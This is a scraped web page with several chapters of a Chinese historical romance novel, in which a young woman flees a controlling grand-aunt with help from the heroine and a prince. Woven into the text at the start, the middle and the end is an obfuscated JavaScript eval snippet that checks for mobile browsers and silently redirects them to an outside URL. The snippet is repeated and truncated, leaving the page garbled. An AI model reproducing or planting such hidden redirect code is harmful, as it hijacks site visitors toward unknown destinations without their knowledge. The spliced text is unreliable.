;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229670|164082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了阿玥姐姐没有别的朋友,齐姐姐和阿瑶一样喜欢小花,”洛瑶说着说着声音小了些,“哥哥不喜欢我跟齐姐姐一起玩吗?” 傅闻璟觉得自己魔怔了,明明当洛瑶是妹妹,凭什么阻止她交朋友。 “没有,阿瑶喜欢就好。” * 齐静离开主院,没有直接回韶华阁,丫鬟婆子一直跟在自己身后,寸步不离。齐静觉得窒息,从渔阳开始,傅老夫人就这样派人看着她,不给接触外人,每日安排满满当当的教习里程。 “姑娘,老夫人的意思是让您抓紧,洛姑娘都懂的讨王爷开心,您可别让人抢了。”张嬷嬷提点道。 齐静背对她眉头紧蹙,嫌恶感越来越重,胃里翻江倒海,微抖着身子咬紧牙关。 张嬷嬷见齐静没反应,打算继续说教,却听到齐静说:“你们先回去吧,我一个人走走。” 齐静打发张嬷嬷走,但她像是没听见一样,一直跟在她身后。齐静猛地转身,冷着脸,“张嬷嬷你先回去吧,我晚点去,这里是王府,是淮南府,我人生地不熟。” “姑祖母安排我的事情,我得从长计议。” 张嬷嬷闻言,这才离开。 齐静见人走远了,压在胸口的大石猛然搬开,撑着假山干呕,吓得翠珠要去喊大夫。 “我没事,”齐静摆摆手,抬头看天空,半晌一只小鸟飞过,忽然问道,“翠珠,我走,你会跟我一起吗?” 翠珠一愣,齐静自嘲地笑笑,“是我糊涂了。” “不是的小姐,当初是小姐把奴婢救回来,小姐去哪奴婢就跟着去哪。” “奴婢没有跟您说,自从咱们去了渔阳之后,越州那边也辗转给奴婢递了信,只是奴婢担心困扰您……” 这下轮到齐静一愣,“他给你递了信?” 翠珠连忙点头,“前不久咱们刚到淮南府时,也给咱们递了信,只是奴婢不知如何跟您说。” “给我……看看?” 翠珠掏出三封信,递给齐静,“这三封是近几日收到的,还有一些被奴婢藏好了,奴婢怕被人发现,影响小姐名声。” 齐静微愣,颤抖着手打开信件,一开始神色凝重,最后泪流满面,捧着信纸哭成泪人,却又不敢放声哭泣,生怕惊扰其他人。 “小姐……”翠珠忽然下定决心,“您如果真的要走,奴婢帮您联系,可好?” 翠珠跟着齐静长大,这些年齐静在齐府过得艰难,她看在眼里。 后来齐静和齐家养子齐桓相恋,两人瞒得极好,齐桓去边境参军,挣了个功名回来好求娶齐静,却得知傅老夫人把齐静带去渔阳,齐桓不消多想,就猜到养父和傅老夫人打的算盘,一怒之下,齐桓脱离了齐府,自立门户。 齐桓让人递了好多封信,从渔阳到淮南府,齐桓锲而不舍,翠珠害怕被发现,偷偷把信件藏在箱笼里。 “回屋,”齐静擦干脸上泪水,拉着翠珠往回走,走了两步又往湖边走去,把信件塞到翠珠身上,拉着她的手叮嘱,“等下你大喊,有人落水了,记住!” 噗通一声,没等翠珠反应过来,齐静跳进湖里,她原会凫水,倒也不怕,等到翠珠把人招来后,装作溺水在水里挣扎。 齐静被人送回韶华阁偏房,傅老夫人过来,剜了翠珠一眼,“到底怎么回事?” 翠珠低垂着脑袋,垂着眼睑,“姑娘这些日子想家了,在湖边散步时失神,不小心落水,奴婢、奴婢……” “行了,真晦气,成事不足败事有余。”傅老夫人斥责了两句就走了。 约莫小半时辰,齐静醒过来,拉着翠珠的手,“好翠珠,接下来就靠咱们了。” 21. 第 21 章 “小姐放心,越州那边奴婢已经去信了,但小姐真的要找洛姑娘吗?” 齐静沉吟,她不想把洛瑶拉下水,但整个晋王府,要傅闻璟帮忙,只能找洛瑶。 “我知道这样做不好,但翠珠,这是咱们唯一的机会。”齐静拉着翠珠的手,眼神诚恳中带着哀求。 翠珠秀眉微蹙,仅犹豫了一会,便用力点头,眼神坚定,“好。” 齐静落水一事闹得极大,远在主院养病的洛瑶都听说了。 这日,洛瑶身子好了些,便带上月芽前去韶华阁探病,给老夫人请安,老夫人念叨小半个时辰后,才放她去偏房。 甫一进门,洛瑶就看到齐静虚弱地依靠翠珠,头发松散,脸色苍白,屋内是浓郁的药味,窗边的兰花枯萎得差不多。 洛瑶眉头狠狠一跳,不是落水吗,怎么越发严重了。 “齐姐姐,”洛瑶坐在床边,担忧地问道,“可好些了?” 齐静一张嘴就咳嗽,洛瑶赶忙倒了杯水喂她,齐静抬手接过杯子,衣袖滑落,露出青紫色的鞭痕。 “这!”洛瑶捂住要惊呼的嘴巴,瞪大双眼不敢相信。 等她缓过来,月芽和翠珠已经很识相地退下了。 “好妹妹,吓着你了。”齐静放下杯子,手按在手臂上,说话声音抱歉又落寞,淡淡地说了一句,然后安静地等洛瑶。 洛瑶平缓心情,“没吓着,姐姐这是怎么了?” “我可以看看吗?” 洛瑶拉起齐静的衣袖,鞭痕纵横交错,一直延伸到肩膀。 “我的天哪!” “疼吗?” 洛瑶眼神中带着心疼和抱歉。 “妹妹不必抱歉,已经不疼了,后背……确实还有。” 齐静解开衣裳,背过身子,洁白的后背,上面是格格不入的鞭痕,洛瑶的眉头就没松开过。 “姑祖母接我到渔阳,说是身边没有小辈,孤身一人在渔阳甚是孤单,但接我过去,就是想把我嫁入晋王府,我不听管教,姑祖母就让人打我,久而久之,这些鞭痕像是印子一样,烙在我身上。” “倒也不疼,但我却觉得,我像个笼中雀,没有自由,无时无刻要取悦姑祖母。” 齐静眼神空洞,神色淡淡地讲述,听得洛瑶心脏像是被一只大手揉捏一样,难以喘息。 “姑祖母掌控欲旺盛,先前对上王爷,落了下风,铩羽而归,被王爷送回渔阳老宅,如今她带上我,司马昭之心,路人皆知。” 洛瑶面无表情地听着齐静说,她虽没有记忆,但也不笨,在王府两年,多少也能猜到老夫人的意图。 “那姐姐,是怎么想的呢?”洛瑶衣袖下两只手交握,无意识地抠指甲。 “我说我想走,妹妹信吗?” 齐静话一出,洛瑶一愣,不可置信地看着齐静。 洛瑶这呆愣的模样,惹得齐静发笑,“我给妹妹讲个故事吧。” “我父亲是越州府不入流的小官,我有一个大哥,名叫齐桓,他教我读书写字,我发现我喜欢他,这段感情并不道德,所以我将这心思秘而不宣,后来得知,他原是父亲的养子,压在我心口的伦理大石轰然崩塌。当时我以为只是我一厢情愿,没想到他也喜欢我,后来他去从军,我们约定好,等他建功立业了,就回来娶我。” 齐静说起齐桓,心中酸涩,眼里泛起泪花,指甲紧紧抠着掌心,“可是我食言了,他带着功名回来,我却被姑祖母带到渔阳,不许我与外界接触。” “我以为他知道消息,已经放弃了,原来我想着,他若是另娶她人,我或是常伴青灯古佛,或是寻个无人认识的去处,好好生活,可如今我才知道,我在渔阳两年,他就等了我两年,一封又一封没有回音的信,我都不知道他是怎么熬过这两年……” 齐静抱着洛瑶嚎啕大哭,洛瑶心中触动,贝齿无意识地咬着下唇,机械地拍着齐静的后背。 洛瑶喉头哽咽,“姐姐莫哭,我相信有情人一定终成眷属。” “承妹妹吉言。” 齐静总算缓过来,抽出帕子拭去脸上的泪水,脸上苍白的妆粉混着眼泪被拭去,洛瑶发现不对劲,“姐姐,你……装病?” 齐静不好意思点点头,和洛瑶坦白,“既然妹妹发现了,我也不瞒着,姑祖母让我去和王爷相处,我不愿意,不想惹王爷厌烦,便想出这等拙劣手段,妹妹见笑了。” “齐姐姐有情有义,不必如此自毁。”洛瑶抽出帕子,小心给她拭去脸上的残妆。 洛瑶和齐静又说了一会话才离开。回主院路上,洛瑶呆呆的,像是灵魂出窍一样,月芽说什么都没有回应。 直到主院,月芽连喊了好几声,洛瑶才回过神来,回了句“我没事”。 * 次日一早,安玥邀请洛瑶去茶楼听说书,最近茶楼来了个新说书人,边说边演,栩栩如生,就像书中人跑出来了一样。 “你这是怎么了,愁眉苦脸的。” 安玥手肘杵了杵洛瑶的手臂,平日两人来听说书,洛瑶可兴奋,听得津津有味,难得见洛瑶像是三魂丢了七魄一样。 “没什么。” “好呀,洛小瑶,长本事了,居然跟我藏秘密,”安玥掐住洛瑶的脸揉搓,“快说!不然我饶不了你!” 洛瑶拗不过她,示意丫鬟出去关上门,拉着安玥凑到一起说起了齐静的事情。 “易求无价宝,难得有情郎。”安玥听完感叹道。 两年杳无音讯,就算投个石子进河里也能听个响,那人居然能坚持两年。 果然好郎君都是别人家的。安玥恨恨想。 安玥看洛瑶脸上化不开的忧愁,“所以你在愁什么?” 洛瑶沉吟,她也说不清自己在愁什么。 “你想帮她。”安玥挑破洛瑶的心思。 洛瑶愣住,她确实有这个想法,只是不知如何帮,点点头,对上安玥的视线。 安玥避开视线,在回廊落座,斜靠着栏杆,一脸无奈,“我想帮你,但不知道如何下手,况且这是你们晋王府的家事,你还不如去找傅闻璟呢。” 诶,对呀,可以找哥哥,要不要帮,能不能帮,怎么帮,哥哥肯定也会给建议。 “阿玥你真聪明!”洛瑶飞扑过去抱住安玥,没等她反应,带上月芽跑了。 韶华阁。 洛瑶从茶楼回来直奔韶华阁,挥退众人,拉着齐静郑重说:“齐姐姐,你想去哪,我帮你!” 齐静愣住,说不感动是假的,她昨日那样跟洛瑶说,无非就是想博取同情。据她对洛瑶和傅闻璟的了解,洛瑶定会告诉傅闻璟,到时候傅闻璟担心自己耍手段,定会来找自己,自己便可以顺水推舟提出离开的想法。 但她没想到,傅闻璟还没有来找她,洛瑶便风风火火赶过来说帮她。 “这不好,若是姑祖母知道了,指不定要罚你。”齐静感动之余,还保存着理智,她虽想离开,但不能害了洛瑶。 当初计划通过洛瑶找傅闻璟,就是想把洛瑶安然无恙摘出来。 洛瑶安抚她,“别担心,我可以找哥哥帮忙,只不过到时候哥哥一定会找姐姐问话。” 齐静悬着的心放下了,虽然事情发展不一样,但最后想要的结局是一样,只要洛瑶不冲动就好。 “我想去找兄长。”齐静脸色微红。 洛瑶了然。 * 当天夜里,傅闻璟回来,发现平日早睡的洛瑶正瞪着铜铃大的眼睛等他,在她身边落座,问道:“怎么不睡,做噩梦了?” 洛瑶摇摇头,盯着傅闻璟,语出惊人,“哥哥我想做坏事。” “什么坏事?你是打算杀人越货还是抛尸荒野?”傅闻璟脱下外袍递给林公公,好笑地问她。 这丫头胆子就米粒儿那么大,她还敢做什么坏事。 洛瑶殷勤地给傅闻璟倒水,“我想送齐姐姐离开。” 傅闻璟端起茶盏一饮而尽,挑了挑剑眉,“为什么?” “她太可怜了,被老夫人囚禁在身边,又被老夫人打,还不能和相爱的人厮守,”洛瑶捧着脸看着傅闻璟,“不过好在那个郎君也是有情有义,等了齐姐姐两年。” “哥哥你不知道吧,老夫人想撮合你和齐姐姐,”洛瑶气哼哼,怎么个个都要来抢她看上的人,“可是齐姐姐早已有心上人,她不愿意,老夫人就打她。” 洛瑶想起齐静身上的鞭痕,忍不住瑟缩,那得多疼啊。 “我听齐姐姐说,那人叫齐桓,是齐姐姐的养兄,两人早已互通心意,可惜齐姐姐被家里人送到渔阳。” 洛瑶忽然想到她和傅闻璟,又想到老夫人的责骂,不过很快便说服自己,她和哥哥才不会这样,如果表明心意哥哥不愿意的话,她就当无事发生。 用玥姐姐的话来说,不就是男人嘛,这个不行,那就换一个,多的是。 傅闻璟看洛瑶出神,屈指敲了敲桌面,“那你想送她去哪?” 齐桓,傅闻璟对这人多少有些了解,前不久江南匪患,剿匪期间,将士中齐桓最为勇猛,剿匪结束后,齐桓被驻扎在安州的许老将军看上,打算带到安州培养。 不过洛瑶说的这事,傅闻璟还是第一次听说。 “送到齐桓身边啊,我相信双鸟只是暂时离分,必有重逢之日。”洛瑶眼睛亮晶晶的,语气笃定。 “你就不怕那个齐桓是个负心郎?”傅闻璟笑问。 “怎么会!”洛瑶立刻反驳,她相信等了两年的人,怎么会是负心郎呢,抱臂哼了声,“我觉得他不是,如果他是,到时候我给齐姐姐撑腰。” 傅闻璟笑着弹了洛瑶一个脑瓜崩,“人小鬼大的。” “那我能帮齐姐姐吗?” “嗯。” “那哥哥会帮我吗?” “嗯。” “谢谢哥哥!哥哥最好了!”洛瑶眼神瞬间亮了,拉着傅闻璟的手臂来回晃。 * 翌日一早,原以为要等很多天的齐静,居然等到月芽来邀请。 先前被洛瑶发现装病,齐静也不装了,如今对外头说,身子好了不少。 傅老夫人见月芽来,马嬷嬷又在耳边说傅闻璟今日在府上,傅老夫人盘算着放齐静出门。 “齐姐姐,快来。”洛瑶出门迎接,拉着齐静进了屋里。 齐静见傅闻璟,立刻半蹲行礼,傅闻璟神色淡淡地让她起身。 “齐姐姐,哥哥答应帮你 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傅闻璟离开后,便让人去联系齐桓,也不知道齐桓是早有准备,还是收到翠珠的消息,没两天就到了淮南府和傅闻璟见面。 傅闻璟对他的事情并不感兴趣,不过是受人之托,忠人之事,不像让洛瑶伤心罢了。 两日后,韶华阁又传出齐静生病的消息,傅老夫人觉得晦气,便让马嬷嬷安排去城外寺庙小住几日,甚至隐约有联系齐家,把齐静送回去的想法。 “齐姐姐,明日下午申时三刻,我和哥哥送你到城北的十里亭,那人在那等着。” 洛瑶带了个包袱过来,里面是她给齐静准备的东西,“这是我让月芽收拾的,我也不懂,姐姐若是用得上便用,用不上要是想留着,就当留个念想。” “谢谢阿瑶。” 齐静上前抱了下洛瑶,她盼星星盼月亮,终于等到这一天,没想到这一天会来得那么快。多亏了洛瑶,若不是她,傅闻璟也不会帮忙,她也许会被老夫人绑在身边更久。 * 第二日申时初,齐静和翠珠坐上洛瑶的马车,和洛瑶二人相对而坐。齐静从越州到渔阳,再从渔阳到淮南,没有带什么行李,一个包袱足矣,加上洛瑶准备,也就两个包袱。 马车摇摇晃晃,到十里亭时还未到申时三刻。 “王爷。” 车外声音响起,洛瑶微微掀开帘子,看到身穿劲装的男子拱手行礼,傅闻璟嗯了一声以示回应。 听到男子的声音,齐静难免激动,眸中泛起一层雾气,是他,真的是他! 齐静激动得握住洛瑶的手,傅闻璟见状,说了句“你们聊”便下了马车,翠珠也带着行李下车,见到齐桓时,屈膝行礼,“大公子。” “谢谢、谢谢阿瑶。”齐静语调哽咽。 她这几日说得最多的便是多谢洛瑶,洛瑶笑着拭去齐静脸颊上的泪水,“齐姐姐别哭,此去一别,有情人终成眷属,是个大喜事。” “多谢阿瑶,”齐静揩掉眼角的泪水,拿出一块玉佩,“阿瑶这般助我,我无以回报,这玉不值什么钱,阿瑶就当留着当个念想吧。” 洛瑶应了声好,掀开帘子看了眼,见时候差不多了,提醒齐静,“姐姐赶紧动身吧,再晚天就黑了。” 齐静嗯了一声,起身之际,又想起洛瑶和傅闻璟之事,拉着洛瑶的手道:“阿瑶,我看王爷对你不一般,但王爷许是性子冷,不懂怎么表达,阿瑶不必害怕困难,勇敢些即可。” 虽然她来王府没几天,但她也发现傅闻璟对待外人,确实是个冷面阎罗,但那日看他和阿瑶相处,神色语调温和极了,怕是只有他自己也没发现吧。 加上阿瑶虽有小心思,不过这丫头单纯,倒是得需要提点一番。 洛瑶眸子微亮,认真地点了点头,“齐姐姐一路顺风。”目送齐静走向十里亭。 在傅闻璟身边等候的齐桓,看到齐静出现,肉眼可见的激动。傅闻璟微微颔首,齐桓大步向前,把齐静拥入怀中。 “静儿。” “桓哥。” 傅闻璟见人送到,弯腰进入马车,洛瑶掀开帘子看得入神。 “怎么了?” 听到声音,洛瑶回过神,看了眼傅闻璟,又往窗外看了眼,微微摇头,“只是心中感慨,齐姐姐当真勇敢,前路未知,但还是飞蛾扑火般追求心中所求。” 我好佩服。 这句话洛瑶没有说出口,只是抬眸看着傅闻璟,眸中蕴含着别人看不出来的情愫。 傅闻璟对上洛瑶的视线,很快便移走目光,不断告诉自己,这是妹妹,是妹妹。 “走吧,回府。”傅闻璟吩咐道。 说完,回头又对洛瑶说道:“齐静不见,到时候老夫人定会大发雷霆,这些天你就待在主院,若是老夫人来请你,不必理会,林公公自会安排妥当。” 洛瑶扬起个笑容,应了声好,掀开帘子回望,十里亭相拥的两人身影越来越小,越来越小,最后成为一道剪影。 有情人终成眷属。 我也会的。 22. 第 22 章 齐静离开后不到三天,傅老夫人回来了,路上还和马嬷嬷抱怨齐静,心想着冷她几日,好让她懂事些。没想到回到韶华阁,差人去唤齐静,却只拿到齐静的留书。 “……幸得姑祖母所爱,然静儿福薄,有负姑祖母所盼,静儿此身已许他人……惟愿姑祖母珍重,珍重!” 傅老夫人一目十行看完书信,没记住多少,只记得齐静和人私定终身,留书逃跑,枯瘦的手掌不断地拍着桌子,“好!好!我辛苦两年,却养了个白眼狼。” “你去给越州齐家去信,让他们把这不孝女逐出家门!” 说完便晕过去。 府医过来诊断,说是火急攻心,需要静养,开了药方后走的极快。 洛瑶乖乖在主院呆了十来天,齐静跟齐桓走了,安玥去了金州贺寿,洛瑶忽然发现偌大的淮南府,她居然没有可以一起玩的小伙伴。 算了,去找小花。 傅老夫人还在病中,洛瑶要出主院,傅闻璟倒也没拦着她。 兽舍有专人打理,里面的萌兽养得皮光水滑。小花远远瞧见洛瑶来了,小短腿用力一蹬,打算从丫鬟的腿上跳到洛瑶怀里,却没想到自己能力有限,半路便摔了个大马趴。 洛瑶噗嗤一声笑出来,上前把小花抱进怀里,掸去它身上的尘,又拿了篦子一下一下给它梳毛。小东西享受极了,在洛瑶怀里躺得四仰八叉,没一会就发出呼噜声。 在兽舍时光消磨很快,回主院路上,洛瑶听到两个小丫鬟在讨论墨香斋新出的话本子。 两个小丫鬟躲在假山里,兴致勃勃地聊着,说到最后,还感叹了,“可惜一月才出一个故事,要是出多几,我宁愿不吃不喝也要买那个话本子。” “那么好看吗?”洛瑶隔着假山和她们对话。 小丫鬟听到声音,连忙出来跪下请罪,“奴婢竹青/竹巧见过姑娘,奴婢知错,不该玩忽职守,还请姑娘饶过我们。” 洛瑶把两人拉起,她只是想问这书是不是真的那么好看而已,怎么会责罚他们。 “我没有生气,我就想问你们,你们说的那个画本子真的那么好看吗?”洛瑶眼神里透露这个渴望,“可以跟我说说是什么书吗?” 天知道淮南府的画本子都被她买光了,也不见书斋有出新,可把她无聊坏了。 竹青和竹巧你推我,我推你,最后竹青上前一步,“禀姑娘,那个书名叫王府二三事……” 说到最后竹青的声音越来越小,小心翼翼觑了眼洛瑶,又鼓起勇气把怀中的书掏出来递给洛瑶,“就是这本。” 洛瑶接过,封面的五个字,她只认识两个——二三,翻开里面是密密麻麻的字,书不厚,也就十来页,听竹青说,每次发行一个小故事,看完就只能等下一次了。 竹青见洛瑶感兴趣,也没有方才的害怕,滔滔不绝跟洛瑶讲这话本子的内容。 “呵呵……”洛瑶扯了扯嘴角,尴尬笑了笑,拧着眉看着书,字真多,它们认识她,可她不认识它们啊。 “我让月芽去买一本,谢啦。”洛瑶把画本塞给竹青,快步回到主院。 回到主院抓了个小丫鬟就问傅闻璟在哪,得知在书房,又风风火火赶到书房。 * 书房里,傅闻璟正和赵隋说事,时隔两年,洛瑶还是有点怵赵隋,那个磅礴的身躯,洛瑶觉得他动动手指就能捏死自己。 看起来傅闻璟还要好一会,洛瑶蹲在书房窗下数蚂蚁,一开始林公公还陪着她,后面便去忙了。 过了好久,洛瑶都觉得腿麻了,屋内总算是安静下来,书房门打开又合上,洛瑶蹭地起身,爬上窗户,半个人趴在窗台,笑吟吟地看着傅闻璟。 “哥哥!” 方才洛瑶来了,傅闻璟就知道了,和赵隋聊的不是什么机密事,便由着洛瑶去。原以为她离开了,没想到忽然从窗下冒出个脑袋。 傅闻璟在写信,淡淡地应了声,洛瑶倒是不在意,等傅闻璟忙完问道:“哥哥,你能教我识字吗?” “先前你不是说不想学。”傅闻璟挑挑眉,好整以暇地看着露出一个脑袋的洛瑶。 “嘻嘻,现在想学了,哥哥能教我么?” 傅闻璟点头。 “真哒!”洛瑶跳下来,脚步飞快,哐当推开门,跑到傅闻璟身边,拉着他的衣袖,一双眼睛比星星还亮,“谢谢哥哥!” 傅闻璟勾了勾唇,让林公公给洛瑶安排了个椅子和小书桌,还有适合她的笔墨纸砚,“今日先学怎么执笔。” 傅闻璟纤长的手指拿起毛笔,递到洛瑶面前,“试试看。” 洛瑶拿起笔,学着傅闻璟的样子,调整握笔姿势,许是不知道应怎么握得稳,洛瑶觉得自己握笔的手像极了往日厨房做的鸡爪子。 哥哥的握笔姿势怎么那么好看呢。 傅闻璟放下笔,走到洛瑶身后,手把手教洛瑶握笔姿势,握着洛瑶的手,蘸墨,落笔,运笔,洛瑶的名字便出现在纸上。 傅闻璟高大的身子笼罩着洛瑶,身上散发着檀木香,洛瑶小鼻子一耸一耸,思绪不禁飘远了,扭动身子,偷偷地往后靠,脑袋似有若无地蹭了蹭傅闻璟的胸膛。 毛茸茸的脑袋蹭着自己的胸膛,怀中温香软玉,傅闻璟也难免心猿意马,极力控制错乱的呼吸,再三告诫自己洛瑶是妹妹,拍拍她的脑袋,“专心些。” 洛瑶下意识咬住下唇,强迫自己的聚精会神,一个下午下来,傅闻璟心中一直强调洛瑶是妹妹后,呼吸平缓不少,手把手教洛瑶认识了不少字,还教会了洛瑶写自己的名字。 而洛瑶,倒是经历了一场磨难,额头香汗淋漓,傅闻璟给她擦汗还笑话她平日懒散。 洛瑶心里反驳,不是懒散,是馋。 傅闻璟在洛瑶眼里就像飘着甜香的豆糕,天知道洛瑶多努力才把自己的邪念压住,才不至于在那白皙又骨节分明的手咬上一口。 时候不早了,两人一同回了主屋。自从那日洛瑶中了暑气后,洛瑶又搬回了主院住,和傅闻璟的卧室只是一墙之隔。 “明日继续练习?”傅闻璟问道。 洛瑶咬着排骨猛点头,“要哥哥教。” * 夏去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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傅闻璟应了声,洛瑶不明所以,怎么所有人都走光了。 “哥哥他们怎么了?”洛瑶凑进傅闻璟,鼻尖是似有若无的檀木香,洛瑶的鼻子小狗一样一耸一耸。 “无事,走吧,太阳毒先回去。”傅闻璟拍拍洛瑶的脑袋。 这两年也不知道怎么养成的习惯,傅闻璟总是喜欢拍洛瑶的脑袋,他觉得毛茸茸的,十分可爱,倒是洛瑶抗议了好几次,都不管用。 洛瑶把傅闻璟的手拉下来,小手紧紧握着他略带茧子的手,“哥哥别拍了,再拍阿瑶就长不高了。” 傅闻璟闻言,看了眼洛瑶,又笑道,“阿瑶这两年也不见怎么长高啊。” 不怎么长高,倒是养得粉雕玉琢,脾气越来越娇憨了。 洛瑶紧牵着傅闻璟的手回了主院,路上遇到马嬷嬷,这两个月傅老夫人在小佛堂念经,马嬷嬷倒也收敛了不少,见到两人,赶忙低头行礼,直到两人离开后,若有所思回了韶华阁。 23. 第 23 章 三日后,月芽给洛瑶挑了一身银朱色窄袖骑妆,搭上掐金羊皮马靴,长发高高束起,配上一条眉心坠,像画中走出来一样。 洛瑶不会骑马,安玥便陪她乘马车,傅闻璟和安远骑马并行。 从西城门出发,约莫走十里,便是西山。山里没有猛兽,山下一马平川,方便在此安营扎寨。 洛瑶和安玥的马车便停在山脚下,安玥骑术尚可,路上便自告奋勇要教洛瑶骑马。 一开始洛瑶不愿意,路上安玥就跟她讲前几年傅闻璟刚封王,和淮南府的官员到西山狩猎时的英勇场景。在安玥的诱惑下,还没等到西山,洛瑶便拉着安玥要学骑马。 傅闻璟给洛瑶准备了一匹温驯的矮脚马,因为矮,骑上去不会害怕。 安玥和月芽扶着洛瑶上马,安玥手把手教她怎么抓缰绳,怎么御马,洛瑶觉得自己脑子学会了,要是实操怕是不行。 “你别怕,我上去陪你。” 安玥握着马鞍,用力一蹬,一跨便上来了。身前的洛瑶身型比她小,抱着香香软软的,安玥不禁想,要是她是男子,立刻去找傅闻璟提亲,把人娶回家里。 身后有人,洛瑶没有那么害怕,安玥下意识小腿一夹,矮脚马像是收到信号,飞快地蹿了出去。 安玥没有反应过来,缰绳还在洛瑶手里,相当于马儿自由逐风。两人惊恐地发出叫声,传到不远处傅闻璟的耳中,赶忙策马过来看什么情况。 安远也跟过来,看到两人骑马狂奔一幕眼前一黑,总算是明白赵隋说的,这官要做到头是什么感觉了。 “阿瑶别怕,把缰绳给我。”傅闻璟策马和洛瑶并行,从洛瑶手中拽过缰绳,用力控住,狂奔的矮脚马这才缓下来。 矮脚马慢下来,安玥也冷静了,安抚受惊的洛瑶,控马停下,在月芽的搀扶下下了马。 傅闻璟担心洛瑶身子不适,下马走到旁边,张开手,“阿瑶下来吧,别怕,我在。” 洛瑶咬着下唇,深呼吸平稳情绪,学着方才傅闻璟下马的姿势,缓缓挪动。 双脚着地,洛瑶腿软,没站稳,幸好傅闻璟在一旁,长手一伸,扶住她的纤腰。 “呜呜呜,太可怕了,方才阿瑶都以为以后见不到哥哥了……”洛瑶抱着傅闻璟的手臂,“阿瑶都要以为要和阿玥一起摔下去了……” 傅闻璟僵硬地拍拍洛瑶的手,温声安抚,“没事了,已经没事了。” 一旁安远在数落安玥,“你知不知道你吓死我了,要是你出了什么事,我怎么跟爹娘交代!” “让你别逞强,你看把阿瑶吓成什么样,你自己哄去,我可不管你,自己去给王爷道歉。” 安玥垂着脑袋,闷声道:“知道了。” 洛瑶抱着傅闻璟的手臂哼哼唧唧,说害怕其实也不对,方才没有把握确实害怕,但下马了,反倒不怕,甚至还想骑来试试。 她把脑袋埋在傅闻璟肩侧,额头来回蹭着他手臂的布料,等到不害怕了,小手顺着傅闻璟的手臂往上滑。 傅闻璟身子一僵,洛瑶又安静下来,过了一会,又故技重施,一连好几次后,傅闻璟戳起洛瑶的脑袋,隐忍着声音,“阿瑶,别闹。” 洛瑶扭扭捏捏抬起头,小脸微红,杏眼滴溜溜转,一脸心虚,但又不肯承认是她干的。 安玥磨蹭,安远看不过眼,屈指弹了一下安玥的脑袋,将安玥“扭送”过来。 “阿瑶,对不起。” 洛瑶靠着傅闻璟不肯放手,安远兄妹过来,傅闻璟见外人过来,多少有些不好意思,拍拍洛瑶的手示意她放下。 “哼!”洛瑶噘嘴哼了一声,只敢在心里骂了句“小气”,然后怂怂地收回作乱的爪子。 “我没事,玥姐姐别放心上,”洛瑶上前拉着安玥的手,看她还是愧疚,挑挑眉,然后清了清嗓子,“玥姐姐要是想道歉的话,那就陪我去摘花吧。” 说着拉起安玥就跑了。 傅闻璟摇头失笑,对上安远戏谑的眸子,瞬间冷下来,变脸大师都没有他那么迅速。 “王爷这两年……” “怎么?”傅闻璟语气冷淡。 “多了些人气。”安远说完像是察觉说错话一般,连忙拱手弯腰致歉,但神色并不像是道歉,更像是看戏。 傅闻璟沉默看他一眼,翻身上马,往林子里去,安远笑着摇头,也翻身上马,跟上傅闻璟的步伐。 * 如今秋风起,山下的草地也枯黄了,反倒是小野花开得正盛,洛瑶拉着安玥跑到花丛中,吭哧吭哧摘了一大把,抱在怀里。 “这小野花也不漂亮,你摘来做什么?”安玥好奇。 洛瑶寻了块石头坐下,摊开裙摆,把花放在裙摆上,拿起几朵绕圈,“编花环呀,编好可以送给哥哥,月芽之前教我的。” 安玥哦了声,语调上扬,挑眉看向月芽。她还记得花神节前,月芽这小妮子还让自己劝劝洛瑶。 月芽面无表情帮洛瑶编花环,“姑娘,奴婢只是教你编花环,没说让你送给王爷。” “哎呀,都差不多啦。”洛瑶摆摆手,都一样啦。 在月芽的协助下,原本丑不堪言的花环显得精美起来,洛瑶眼尖,看到傅闻璟策马出来,拿着花环跑过去。 洛瑶想把花环放在傅闻璟头上,却被他躲开,气得洛瑶跺了跺脚,绕到他背后,攀着他的肩膀起来,爬到背上,非得把花环放在他头上不可。 “你看,阿瑶这样不挺好吗,”安玥像看着自家闺女一样,满眼欣慰,一旁的月芽愁眉苦脸。 安玥手肘杵了杵她,“别愁眉苦脸了,我知道你为阿瑶好,我瞧着傅闻璟也不错,只是喜欢冷脸罢了,阿瑶这样挺开心的。” “可是……” “别可是了,乖月芽,你就笑笑吧,愁眉苦脸的可不好看哟。”安玥说着就上手揉搓月芽的小肉脸,月芽无处可躲,只能容她作乱。 * 洛瑶死缠烂打之下,傅闻璟总算是带上了花环,“当真好看。” 说完洛瑶自己也笑了起来,拉着傅闻璟的手散步。转头瞥见高头大马,洛瑶忽然来了兴致,“哥哥能带我骑马么?” “你不害怕?”傅闻璟低头看她,花环引来几只蝴蝶,绕着傅闻璟脑袋飞,惹得洛瑶乐不可支。 “不怕呀,”洛瑶笑得眼睛都眯起来,“方才只是没发挥好,我肯定能策马驰骋的!” 洛瑶说得信誓旦旦,拉着傅闻璟的手上马后,才发觉原来这么高,瞬间就心虚了,但又不好意思表现出来,强撑着,握着马鞍,虚虚地靠在傅闻璟身上。 “抓紧了。” 温热的气息又喷洒在耳边,洛瑶小脸蹭地红了起来,抿了抿唇,声若蚊蝇地应了声。 身下的骏马缓缓走动,傅闻璟担心她害怕,稳稳地控制着速度。倒是洛瑶习惯后,闹着要跑快点,傅闻璟虽不赞同,但还是双腿一夹,加快速度。 秋日凉爽的风吹过脸颊,扬起洛瑶的秀发,跑了一会傅闻璟慢下来,低头看到个毛茸茸的小脑袋,上手揉了一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 